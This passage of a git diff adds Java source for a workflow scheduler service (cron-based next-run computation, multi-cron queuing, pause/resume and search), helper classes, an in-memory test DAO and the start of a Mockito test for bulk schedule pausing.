scheduledExecutionRecord, schedulerCron); + log.debug( + "Triggering workflow request for schedule:{}, execution id: {}", + schedule.getName(), + scheduledExecutionRecord.getExecutionId()); + + SecurityContextHolder.clearContext(); + triggerWorkflowRequest(scheduledExecutionRecord, request); + + try { + schedulerDAO.saveExecutionRecord(scheduledExecutionRecord); + queueDAO.push( + CONDUCTOR_SYSTEM_SCHEDULER_ARCHIVAL_QUEUE_NAME, + scheduledExecutionRecord.getQueueMsgId(), + 0); + } catch (Exception e) { + log.error("Error saving execution record", e); + } + + try { + ZonedDateTime lastExpectedRuntime = + getZonedDateTimeFromEpoch( + scheduledExecutionRecord.getScheduledTime(), + scheduledExecutionRecord.getZoneId()); + if (queueMsg.isMultiCron()) { + CronSchedule cs = schedule.getCronSchedules().get(queueMsg.id); + String cronExpr = cs.getCronExpression(); + String cronZoneId = cs.getZoneId() != null ? cs.getZoneId() : "UTC"; + computeAndSaveNextScheduleForSingleCronEntry( + schedule, + cronExpr, + cronZoneId, + queueMsg.id, + currentSystemTime, + lastExpectedRuntime); + } else { + computeAndSaveNextSchedule( + schedule, currentSystemTime, lastExpectedRuntime); + } + } catch (Exception e) { + throw new RuntimeException(e); + } + + } finally { + clearRequestOrgId(); + timer.stop(); + Monitors.getTimer("scheduler_handler") + .record(timer.elapsed(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS); + } + } + } + + boolean computeAndSaveNextSchedule( + WorkflowScheduleModel schedule, + ZonedDateTime currentSystemTime, + ZonedDateTime lastExpectedRuntime) { + if (schedule.hasMultipleCronSchedules()) { + return computeAndSaveNextScheduleMultiCron( + schedule, currentSystemTime, lastExpectedRuntime); + } + + ZonedDateTime nextRuntime = + computeNextSchedule(schedule, currentSystemTime, lastExpectedRuntime); + + if (nextRuntime == null) { + ackFinal(schedule.getName()); + return false; + } + + schedulerDAO.setNextRunTimeInEpoch( + schedule.getName(), nextRuntime.toInstant().toEpochMilli()); + + long offsetSeconds = getOffsetSeconds(currentSystemTime, nextRuntime); + if (!schedule.isPaused()) { + ackAndPushMessage(schedule.getQueueMsgId(), Math.max(offsetSeconds, 1)); + } + return true; + } + + /** + * For multi-cron schedules during create/update: push one queue message per cron expression. + */ + private boolean computeAndSaveNextScheduleMultiCron( + WorkflowScheduleModel schedule, + ZonedDateTime currentSystemTime, + ZonedDateTime lastExpectedRuntime) { + List cronSchedules = schedule.getCronSchedules(); + ZonedDateTime earliestNextTime = null; + boolean anyScheduled = false; + + for (int i = 0; i < cronSchedules.size(); i++) { + CronSchedule cs = cronSchedules.get(i); + String cronExpr = cs.getCronExpression(); + String cronZoneId = cs.getZoneId() != null ? cs.getZoneId() : "UTC"; + + try { + ZonedDateTime nextTime = + computeNextScheduleForSingleCron( + schedule, + cronExpr, + cronZoneId, + currentSystemTime, + lastExpectedRuntime); + if (nextTime != null) { + anyScheduled = true; + if (earliestNextTime == null + || nextTime.toInstant().isBefore(earliestNextTime.toInstant())) { + earliestNextTime = nextTime; + } + String cronWithTz = cronExpr + " " + cronZoneId; + String payload = buildMultiCronPayload(schedule.getName(), cronWithTz, i); + // Store per-cron next run time for the "is it due" guard + schedulerDAO.setNextRunTimeInEpoch( + payload, nextTime.toInstant().toEpochMilli()); + + if (!schedule.isPaused()) { + long offsetSeconds = getOffsetSeconds(currentSystemTime, nextTime); + String multiMsgId = buildMultiCronMsgId(schedule, cronWithTz, i); + queueDAO.push( + CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME, + multiMsgId, + 0, + withJitter(Math.max(offsetSeconds, 1))); + } + } + } catch (Exception e) { + log.error( + "Error computing next schedule for cron '{}' in schedule '{}'", + cronExpr, + schedule.getName(), + e); + } + } + + if (!anyScheduled) { + return false; + } + + schedulerDAO.setNextRunTimeInEpoch( + schedule.getName(), earliestNextTime.toInstant().toEpochMilli()); + return true; + } + + /** + * After a multi-cron message fires: recompute and push only that specific cron's next + * occurrence. + */ + private boolean computeAndSaveNextScheduleForSingleCronEntry( + WorkflowScheduleModel schedule, + String cronExpr, + String cronZoneId, + int cronIndex, + ZonedDateTime currentSystemTime, + ZonedDateTime lastExpectedRuntime) { + + ZonedDateTime nextRuntime = + computeNextScheduleForSingleCron( + schedule, cronExpr, cronZoneId, currentSystemTime, lastExpectedRuntime); + + String cronWithTz = cronExpr + " " + cronZoneId; + String multiMsgId = buildMultiCronMsgId(schedule, cronWithTz, cronIndex); + + if (nextRuntime == null) { + ackFinal(multiMsgId); + return false; + } + + // Store per-cron next run time for the "is it due" guard (keyed by JSON payload) + String payload = buildMultiCronPayload(schedule.getName(), cronWithTz, cronIndex); + schedulerDAO.setNextRunTimeInEpoch(payload, nextRuntime.toInstant().toEpochMilli()); + + // Also update the schedule-level next_run_time to the earliest across all crons (for + // display) + NextScheduleResult earliestResult = + computeNextScheduleWithZone(schedule, currentSystemTime, currentSystemTime); + if (earliestResult != null) { + schedulerDAO.setNextRunTimeInEpoch( + schedule.getName(), earliestResult.getNextRunTime().toInstant().toEpochMilli()); + } + + long offsetSeconds = getOffsetSeconds(currentSystemTime, nextRuntime); + if (!schedule.isPaused()) { + queueDAO.push( + CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME, + multiMsgId, + 0, + withJitter(Math.max(offsetSeconds, 1))); + } + return true; + } + + private void ackFinal(String msgId) { + log.warn("No more scheduled runs for this schedule - {}", msgId); + queueDAO.ack(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME, msgId); + } + + private ZonedDateTime getZonedDateTimeFromEpoch(Long timeInEpoch, String scheduleZoneId) { + return ZonedDateTime.ofInstant( + Instant.ofEpochMilli(timeInEpoch), ZoneId.of(scheduleZoneId)); + } + + public ZonedDateTime computeNextSchedule( + WorkflowSchedule schedule, + ZonedDateTime currentSystemTime, + ZonedDateTime lastExpectedRunTime) { + NextScheduleResult result = + computeNextScheduleWithZone(schedule, currentSystemTime, lastExpectedRunTime); + return result != null ? result.getNextRunTime() : null; + } + + public NextScheduleResult computeNextScheduleWithZone( + WorkflowSchedule schedule, + ZonedDateTime currentSystemTime, + ZonedDateTime lastExpectedRunTime) { + List cronSchedules = schedule.getEffectiveCronSchedules(); + if (cronSchedules.isEmpty()) { + log.warn("No cron schedules configured for schedule: {}", schedule.getName()); + return null; + } + + NextScheduleResult earliestResult = null; + Instant earliestInstant = null; + + for (CronSchedule cronSchedule : cronSchedules) { + String cronExpr = cronSchedule.getCronExpression(); + String scheduleZoneId = + cronSchedule.getZoneId() != null ? cronSchedule.getZoneId() : "UTC"; + + try { + ZonedDateTime nextTime = + computeNextScheduleForSingleCron( + schedule, + cronExpr, + scheduleZoneId, + currentSystemTime, + lastExpectedRunTime); + + if (nextTime != null) { + Instant nextInstant = nextTime.toInstant(); + if (earliestInstant == null || nextInstant.isBefore(earliestInstant)) { + earliestInstant = nextInstant; + earliestResult = NextScheduleResult.of(nextTime, scheduleZoneId); + } + } + } catch (Exception e) { + log.error( + "Error computing next schedule for cron expression '{}' with zone '{}': {}", + cronExpr, + scheduleZoneId, + e.getMessage()); + } + } + + return earliestResult; + } + + private ZonedDateTime computeNextScheduleForSingleCron( + WorkflowSchedule schedule, + String cronExpressionStr, + String cronZoneId, + ZonedDateTime currentSystemTime, + ZonedDateTime lastExpectedRunTime) { + + CronExpression cronExpression = CronExpression.parse(cronExpressionStr); + + ZonedDateTime currentInCronZone = + currentSystemTime.withZoneSameInstant(ZoneId.of(cronZoneId)); + ZonedDateTime lastInCronZone = + lastExpectedRunTime.withZoneSameInstant(ZoneId.of(cronZoneId)); + + if (schedule.isRunCatchupScheduleInstances()) { + return cronExpression.next(lastInCronZone); + } + + if (schedule.getScheduleStartTime() != null) { + ZonedDateTime startTime = + ZonedDateTime.ofInstant( + Instant.ofEpochMilli(schedule.getScheduleStartTime() - 500), + ZoneId.of( + cronZoneId)); // Go back 500 ms to account for start time being + // the exact next time + if (currentInCronZone.isBefore(startTime)) { + return cronExpression.next(startTime); + } + } + + ZonedDateTime nextRunTime = + cronExpression.next( + currentInCronZone.isBefore(lastInCronZone) + ? lastInCronZone + : currentInCronZone); + if (nextRunTime == null) { + return null; + } + + if (schedule.getScheduleEndTime() != null) { + ZonedDateTime endTime = + ZonedDateTime.ofInstant( + Instant.ofEpochMilli(schedule.getScheduleEndTime()), + ZoneId.of(cronZoneId)); + if (nextRunTime.isAfter(endTime)) { + return null; + } + } + + return nextRunTime; + } + + private void triggerWorkflowRequest( + WorkflowScheduleExecutionModel scheduledExecutionRecord, StartWorkflowRequest request) { + try { + String workflowId = workflowService.startWorkflow(request); + scheduledExecutionRecord.setWorkflowId(workflowId); + scheduledExecutionRecord.setState(WorkflowScheduleExecutionModel.State.EXECUTED); + } catch (Exception e) { + log.error("Error running workflow - {}", e.getMessage()); + scheduledExecutionRecord.setState(WorkflowScheduleExecutionModel.State.FAILED); + String reason = e.getMessage(); + if (reason.length() > 999) { + reason = reason.substring(0, 999); + } + scheduledExecutionRecord.setReason(reason); + String stackTrace = ExceptionUtils.getStackTrace(e); + if (stackTrace.length() > 2000) { + stackTrace = stackTrace.substring(0, 2000); + } + scheduledExecutionRecord.setStackTrace(stackTrace); + } + } + + public Map requeueAllExecutionRecords() { + List recordIds = schedulerDAO.getPendingExecutionRecordIds(); + Map result = new HashMap<>(); + result.put("recordIds.size", recordIds.size()); + result.put("sampleIds", recordIds.stream().limit(10).collect(Collectors.toList())); + recordIds.forEach( + id -> { + try { + WorkflowScheduleExecutionModel record = + schedulerDAO.readExecutionRecord(id); + if (record != null) { + queueDAO.push( + CONDUCTOR_SYSTEM_SCHEDULER_ARCHIVAL_QUEUE_NAME, + record.getQueueMsgId(), + 0); + } + } catch (Exception e) { + result.put("error." + id, e.getMessage()); + } + }); + return result; + } + + private StartWorkflowRequest swrFrom( + WorkflowScheduleModel scheduleModel, + WorkflowScheduleExecutionModel scheduledExecutionRecord, + String schedulerCron) { + StartWorkflowRequest startWorkflowRequest = scheduleModel.getStartWorkflowRequest(); + StartWorkflowRequest swr = new StartWorkflowRequest(); + swr.setTaskToDomain(startWorkflowRequest.getTaskToDomain()); + swr.setCorrelationId(startWorkflowRequest.getCorrelationId()); + Map input = startWorkflowRequest.getInput(); + if (input == null) { + input = new HashMap<>(); + } + swr.setInput(new HashMap<>(input)); + swr.setName(startWorkflowRequest.getName()); + swr.setPriority(startWorkflowRequest.getPriority()); + swr.setExternalInputPayloadStoragePath( + startWorkflowRequest.getExternalInputPayloadStoragePath()); + swr.setVersion(startWorkflowRequest.getVersion()); + swr.setWorkflowDef(startWorkflowRequest.getWorkflowDef()); + swr.setCreatedBy(scheduleModel.getCreatedBy()); + swr.getInput().put("_startedByScheduler", scheduleModel.getName()); + swr.getInput().put("_scheduledTime", scheduledExecutionRecord.getScheduledTime()); + swr.getInput().put("_executedTime", scheduledExecutionRecord.getExecutionTime()); + swr.getInput().put("_executionId", scheduledExecutionRecord.getExecutionId()); + swr.getInput().put("_schedulerCron", schedulerCron); + swr.setIdempotencyKey(startWorkflowRequest.getIdempotencyKey()); + swr.setIdempotencyStrategy(startWorkflowRequest.getIdempotencyStrategy()); + return swr; + } + + private String getEffectiveZoneId(WorkflowSchedule workflowSchedule) { + if (workflowSchedule.hasMultipleCronSchedules()) { + return "UTC"; + } + return workflowSchedule.getZoneId() != null ? workflowSchedule.getZoneId() : "UTC"; + } + + public WorkflowSchedule createOrUpdateWorkflowSchedule(WorkflowSchedule workflowSchedule) { + String userId = getCurrentUserId(); + checkScheduleLimit(workflowSchedule); + + Stopwatch sw = Stopwatch.createStarted(); + log.debug("Saving workflow schedule from user {} : {}", userId, workflowSchedule); + WorkflowScheduleModel existingSchedule = + schedulerDAO.findScheduleByName(workflowSchedule.getName()); + log.debug( + "Schedule exists : {}: loaded in {} ms", + existingSchedule != null, + sw.elapsed(TimeUnit.MILLISECONDS)); + WorkflowScheduleModel updateModel = WorkflowScheduleModel.from(workflowSchedule); + + String effectiveZoneId = getEffectiveZoneId(workflowSchedule); + ZonedDateTime now = schedulerTimeProvider.getUtcTime(ZoneId.of(effectiveZoneId)); + + if (existingSchedule != null) { + updateModel.setCreateTime(existingSchedule.getCreateTime()); + updateModel.setCreatedBy(existingSchedule.getCreatedBy()); + } else { + updateModel.setCreateTime(now.toInstant().toEpochMilli()); + updateModel.setCreatedBy(userId); + } + updateModel.setUpdatedBy(userId); + updateModel.setUpdatedTime(now.toInstant().toEpochMilli()); + // Remove old queue messages before pushing new ones (handles single→multi, multi→single + // transitions) + if (existingSchedule != null) { + removeScheduleQueueMessages(existingSchedule); + } + log.debug("Invoking DB schedule update: {}", updateModel.getName()); + schedulerDAO.updateSchedule(updateModel); + log.debug( + "Completed DB schedule update: {} in {} ms", + updateModel.getName(), + sw.elapsed(TimeUnit.MILLISECONDS)); + computeAndSaveNextSchedule(updateModel, now, now); + if (existingSchedule != null && updateModel.isPaused()) { + log.debug( + "Existing schedule saved as paused: {}, removing queue message", + updateModel.getName()); + removeScheduleQueueMessages(updateModel); + } + publishSaveEvent(existingSchedule, updateModel); + return updateModel; + } + + /** + * Publishes the appropriate listener event for a create-or-update operation. Uses the prior vs. + * new paused state to distinguish PAUSED / RESUMED transitions from a generic UPDATE. + */ + private void publishSaveEvent(WorkflowScheduleModel existing, WorkflowScheduleModel updated) { + if (existing == null) { + scheduleChangeListener.onScheduleRegistered(updated); + } else if (existing.isPaused() && !updated.isPaused()) { + scheduleChangeListener.onScheduleResumed(updated); + } else if (!existing.isPaused() && updated.isPaused()) { + scheduleChangeListener.onSchedulePaused(updated); + } else { + scheduleChangeListener.onScheduleUpdated(updated); + } + } + + public WorkflowSchedule getSchedule(String name) { + return schedulerDAO.findScheduleByName(name); + } + + public List getAllSchedules(String workflowName) { + return schedulerDAO.findAllSchedules(workflowName); + } + + public List getAllSchedules() { + return schedulerDAO.getAllSchedules(); + } + + public void deleteSchedule(String name) { + WorkflowScheduleModel wsm = schedulerDAO.findScheduleByName(name); + if (wsm == null) { + return; + } + removeScheduleQueueMessages(wsm); + schedulerDAO.deleteWorkflowSchedule(wsm.getName()); + scheduleChangeListener.onScheduleDeleted(wsm.getName()); + } + + public void pauseSchedule(String name) { + pauseSchedule(name, null); + } + + public void pauseSchedule(String name, String pausedReason) { + String userId = getCurrentUserId(); + WorkflowScheduleModel wsm = schedulerDAO.findScheduleByName(name); + if (wsm == null) { + throw new NotFoundException(String.format("Schedule '%s' not found", name)); + } + wsm.setPaused(true); + wsm.setUpdatedBy(userId); + wsm.setUpdatedTime(System.currentTimeMillis()); + wsm.setPausedReason(pausedReason); + removeScheduleQueueMessages(wsm); + schedulerDAO.updateSchedule(wsm); + scheduleChangeListener.onSchedulePaused(wsm); + } + + public void resumeSchedule(String name) { + WorkflowScheduleModel wsm = schedulerDAO.findScheduleByName(name); + if (wsm == null || !wsm.isPaused()) { + throw new NotFoundException(String.format("Schedule '%s' not found", name)); + } + wsm.setPaused(false); + wsm.setPausedReason(null); + createOrUpdateWorkflowSchedule(wsm); + } + + public void pauseScheduler(boolean pause) { + this.pauseScheduler.set(pause); + } + + public SearchResult searchScheduledExecutions( + String query, String freeText, int start, int size, List sortOptions) { + SearchResult result = + schedulerArchivalDAO.searchScheduledExecutions( + query, freeText, start, size, sortOptions); + Map mapOfExecutionsById = + schedulerArchivalDAO.getExecutionsByIds(new HashSet<>(result.getResults())); + List workflows = + result.getResults().stream() + .map(mapOfExecutionsById::get) + .collect(Collectors.toList()); + int missing = result.getResults().size() - workflows.size(); + long totalHits = result.getTotalHits() - missing; + return new SearchResult<>(totalHits, workflows); + } + + public SearchResult searchSchedules( + String workflowName, + String scheduleName, + Boolean paused, + String freeText, + int start, + int size, + List sortOptions) { + return doSearchSchedules( + workflowName, scheduleName, paused, freeText, start, size, sortOptions); + } + + public List getListOfNextSchedules( + String cronExpression, Long scheduleStartTime, Long scheduleEndTime, int limit) { + try { + CronExpression.parse(cronExpression); + } catch (Exception e) { + throw new RuntimeException("Invalid cron expression"); + } + List results = new ArrayList<>(); + ZonedDateTime now = schedulerTimeProvider.getUtcTime(zoneId); + ZonedDateTime last = now; + WorkflowScheduleModel wsm = new WorkflowScheduleModel(); + wsm.setScheduleStartTime(scheduleStartTime); + wsm.setScheduleEndTime(scheduleEndTime); + wsm.setCronExpression(cronExpression); + for (int i = 0; i < Math.min(5, limit); i++) { + ZonedDateTime nextScheduleTime = computeNextSchedule(wsm, now, last); + if (nextScheduleTime == null) { + break; + } + results.add(nextScheduleTime.toInstant().toEpochMilli()); + last = now; + now = nextScheduleTime; + } + return results; + } + + @Override + public void doStop() { + this.sesArchival.shutdown(); + this.sesMain.shutdown(); + } +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerServiceExecutor.java b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerServiceExecutor.java new file mode 100644 index 0000000..9129ccd --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerServiceExecutor.java @@ -0,0 +1,32 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.service; + +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; + +import com.google.common.util.concurrent.ThreadFactoryBuilder; + +public interface SchedulerServiceExecutor { + + default ScheduledExecutorService getExecutorServiceMainQueuePoll(int poolSize) { + return Executors.newScheduledThreadPool( + poolSize, new ThreadFactoryBuilder().setNameFormat("scheduler-thread-%d").build()); + } + + default ScheduledExecutorService getExecutorServiceArchivalQueuePoll(int poolSize) { + return Executors.newScheduledThreadPool( + poolSize, + new ThreadFactoryBuilder().setNameFormat("scheduler-archival-thread-%d").build()); + } +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerServiceExecutorImpl.java b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerServiceExecutorImpl.java new file mode 100644 index 0000000..02d8f05 --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerServiceExecutorImpl.java @@ -0,0 +1,18 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.service; + +import org.springframework.stereotype.Component; + +@Component +public class SchedulerServiceExecutorImpl implements SchedulerServiceExecutor {} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerTimeProvider.java b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerTimeProvider.java new file mode 100644 index 0000000..6b49e3a --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/scheduler/service/SchedulerTimeProvider.java @@ -0,0 +1,27 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.service; + +import java.time.Instant; +import java.time.ZoneId; +import java.time.ZonedDateTime; + +import org.springframework.stereotype.Service; + +@Service +public class SchedulerTimeProvider { + + public ZonedDateTime getUtcTime(ZoneId zoneId) { + return Instant.now().atZone(zoneId); + } +} diff --git a/scheduler/core/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/scheduler/core/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports new file mode 100644 index 0000000..a6eedaa --- /dev/null +++ b/scheduler/core/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -0,0 +1 @@ +io.orkes.conductor.scheduler.config.SchedulerOssConfiguration diff --git a/scheduler/core/src/test/java/io/orkes/conductor/scheduler/service/InMemorySchedulerDAO.java b/scheduler/core/src/test/java/io/orkes/conductor/scheduler/service/InMemorySchedulerDAO.java new file mode 100644 index 0000000..f66e5f5 --- /dev/null +++ b/scheduler/core/src/test/java/io/orkes/conductor/scheduler/service/InMemorySchedulerDAO.java @@ -0,0 +1,153 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.service; + +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.stream.Collectors; + +import com.netflix.conductor.common.run.SearchResult; + +import io.orkes.conductor.dao.scheduler.SchedulerDAO; +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; +import io.orkes.conductor.scheduler.model.WorkflowScheduleModel; + +/** Simple in-memory SchedulerDAO for OSS unit tests. Keyed by name/id. */ +public class InMemorySchedulerDAO implements SchedulerDAO { + + private final Map schedules = new ConcurrentHashMap<>(); + private final Map executionRecords = + new ConcurrentHashMap<>(); + private final Map nextRunTimes = new ConcurrentHashMap<>(); + + public void clear() { + schedules.clear(); + executionRecords.clear(); + nextRunTimes.clear(); + } + + @Override + public void updateSchedule(WorkflowScheduleModel workflowSchedule) { + schedules.put(workflowSchedule.getName(), workflowSchedule); + } + + @Override + public void saveExecutionRecord(WorkflowScheduleExecutionModel executionModel) { + executionRecords.put(executionModel.getExecutionId(), executionModel); + } + + @Override + public WorkflowScheduleExecutionModel readExecutionRecord(String executionId) { + return executionRecords.get(executionId); + } + + @Override + public void removeExecutionRecord(String executionId) { + executionRecords.remove(executionId); + } + + @Override + public WorkflowScheduleModel findScheduleByName(String name) { + return schedules.get(name); + } + + @Override + public List findAllSchedules(String workflowName) { + return schedules.values().stream() + .filter( + s -> + workflowName == null + || workflowName.equals( + s.getStartWorkflowRequest().getName())) + .collect(Collectors.toList()); + } + + @Override + public void deleteWorkflowSchedule(String name) { + schedules.remove(name); + } + + @Override + public List getPendingExecutionRecordIds() { + return executionRecords.values().stream() + .map(WorkflowScheduleExecutionModel::getExecutionId) + .collect(Collectors.toList()); + } + + @Override + public List getAllSchedules() { + return new ArrayList<>(schedules.values()); + } + + @Override + public Map findAllByNames(Set workflowScheduleNames) { + Map result = new HashMap<>(); + for (String name : workflowScheduleNames) { + WorkflowScheduleModel s = schedules.get(name); + if (s != null) { + result.put(name, s); + } + } + return result; + } + + @Override + public long getNextRunTimeInEpoch(String scheduleName) { + return nextRunTimes.getOrDefault(scheduleName, -1L); + } + + @Override + public void setNextRunTimeInEpoch(String name, long toEpochMilli) { + nextRunTimes.put(name, toEpochMilli); + } + + @Override + public SearchResult searchSchedules( + String workflowName, + String scheduleName, + Boolean paused, + String freeText, + int start, + int size, + List sortOptions) { + List filtered = + schedules.values().stream() + .filter( + s -> + workflowName == null + || workflowName.equals( + s.getStartWorkflowRequest().getName())) + .filter(s -> scheduleName == null || s.getName().contains(scheduleName)) + .filter(s -> paused == null || s.isPaused() == paused) + .collect(Collectors.toList()); + + if (sortOptions != null && !sortOptions.isEmpty()) { + String sortOption = sortOptions.get(0); + String[] parts = sortOption.split(":"); + String field = parts[0]; + boolean asc = parts.length < 2 || "ASC".equalsIgnoreCase(parts[1]); + if ("name".equals(field)) { + filtered.sort( + asc + ? Comparator.comparing(WorkflowScheduleModel::getName) + : Comparator.comparing(WorkflowScheduleModel::getName).reversed()); + } + } + + int total = filtered.size(); + int end = Math.min(start + size, total); + List page = + start < total ? filtered.subList(start, end) : Collections.emptyList(); + return new SearchResult<>(total, page); + } +} diff --git a/scheduler/core/src/test/java/io/orkes/conductor/scheduler/service/SchedulerBulkServiceTest.java b/scheduler/core/src/test/java/io/orkes/conductor/scheduler/service/SchedulerBulkServiceTest.java new file mode 100644 index 0000000..ce64eff --- /dev/null +++ b/scheduler/core/src/test/java/io/orkes/conductor/scheduler/service/SchedulerBulkServiceTest.java @@ -0,0 +1,469 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.service; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.extension.ExtendWith; +import org.mockito.Mock; +import org.mockito.junit.jupiter.MockitoExtension; + +import com.netflix.conductor.common.model.BulkResponse; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.core.exception.TransientException; + +import static org.junit.jupiter.api.Assertions.*; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.*; + +@ExtendWith(MockitoExtension.class) +class SchedulerBulkServiceTest { + + @Mock private SchedulerService schedulerService; + + private SchedulerBulkService schedulerBulkService; + + @BeforeEach + void setUp() { + schedulerBulkService = new SchedulerBulkServiceImpl(schedulerService); + } + + @Test + @DisplayName("pauseSchedules should successfully pause existing schedules") + void testPauseSchedulesSuccessful() { + // Given + List scheduleNames = List.of("schedule1", "schedule2"); + + // Mock pauseSchedule to do nothing (success) + doNothing().when(schedulerService).pauseSchedule("schedule1"); + doNothing().when(schedulerService).pauseSchedule("schedule2"); + + // When + BulkResponse response = schedulerBulkService.pauseSchedules(scheduleNames); + + // Then + assertEquals(2, response.getBulkSuccessfulResults().size()); + assertTrue(response.getBulkSuccessfulResults().contains("schedule1")); + assertTrue(response.getBulkSuccessfulResults().contains("schedule2")); + assertTrue(response.getBulkErrorResults().isEmpty()); + + verify(schedulerService, times(1)).pauseSchedule("schedule1"); + verify(schedulerService, times(1)).pauseSchedule("schedule2"); + } + + @Test + @DisplayName("pauseSchedules should handle exceptions during pause operation") + void testPauseSchedulesWithException() { + // Given + List scheduleNames = List.of("schedule1", "schedule2"); + + // schedule1 succeeds, schedule2 throws exception + doNothing().when(schedulerService).pauseSchedule("schedule1"); + doThrow(new RuntimeException("Database error")) + .when(schedulerService) + .pauseSchedule("schedule2"); + + // When + BulkResponse response = schedulerBulkService.pauseSchedules(scheduleNames); + + // Then + assertEquals(1, response.getBulkSuccessfulResults().size()); + assertTrue(response.getBulkSuccessfulResults().contains("schedule1")); + assertEquals(1, response.getBulkErrorResults().size()); + assertTrue(response.getBulkErrorResults().containsKey("schedule2")); + assertEquals("Database error", response.getBulkErrorResults().get("schedule2")); + } + + @Test + @DisplayName("pauseSchedules should handle empty list") + void testPauseSchedulesWithEmptyList() { + // Given + List scheduleNames = Collections.emptyList(); + + // When + BulkResponse response = schedulerBulkService.pauseSchedules(scheduleNames); + + // Then + assertEquals(0, response.getBulkSuccessfulResults().size()); + assertEquals(0, response.getBulkErrorResults().size()); + + verify(schedulerService, never()).pauseSchedule(anyString()); + } + + @Test + @DisplayName("pauseSchedules should handle single schedule") + void testPauseSchedulesWithSingleSchedule() { + // Given + List scheduleNames = List.of("single_schedule"); + doNothing().when(schedulerService).pauseSchedule("single_schedule"); + + // When + BulkResponse response = schedulerBulkService.pauseSchedules(scheduleNames); + + // Then + assertEquals(1, response.getBulkSuccessfulResults().size()); + assertTrue(response.getBulkSuccessfulResults().contains("single_schedule")); + assertTrue(response.getBulkErrorResults().isEmpty()); + + verify(schedulerService, times(1)).pauseSchedule("single_schedule"); + } + + @Test + @DisplayName("pauseSchedules should handle mixed success and failure scenarios") + void testPauseSchedulesMixedResults() { + // Given + List scheduleNames = List.of("success1", "exception", "success2"); + + doNothing().when(schedulerService).pauseSchedule("success1"); + doThrow(new TransientException("System error")) + .when(schedulerService) + .pauseSchedule("exception"); + doNothing().when(schedulerService).pauseSchedule("success2"); + + // When + BulkResponse response = schedulerBulkService.pauseSchedules(scheduleNames); + + // Then + assertEquals(2, response.getBulkSuccessfulResults().size()); + assertTrue(response.getBulkSuccessfulResults().contains("success1")); + assertTrue(response.getBulkSuccessfulResults().contains("success2")); + + assertEquals(1, response.getBulkErrorResults().size()); + assertTrue(response.getBulkErrorResults().containsKey("exception")); + assertEquals("System error", response.getBulkErrorResults().get("exception")); + } + + @Test + @DisplayName("pauseSchedules should handle large list within limits") + void testPauseSchedulesWithLargeValidList() { + // Given - Create a list of 50 schedules (keep it smaller for cleaner test) + List scheduleNames = new ArrayList<>(); + for (int i = 1; i <= 50; i++) { + String scheduleName = "schedule" + i; + scheduleNames.add(scheduleName); + doNothing().when(schedulerService).pauseSchedule(scheduleName); + } + + // When + BulkResponse response = 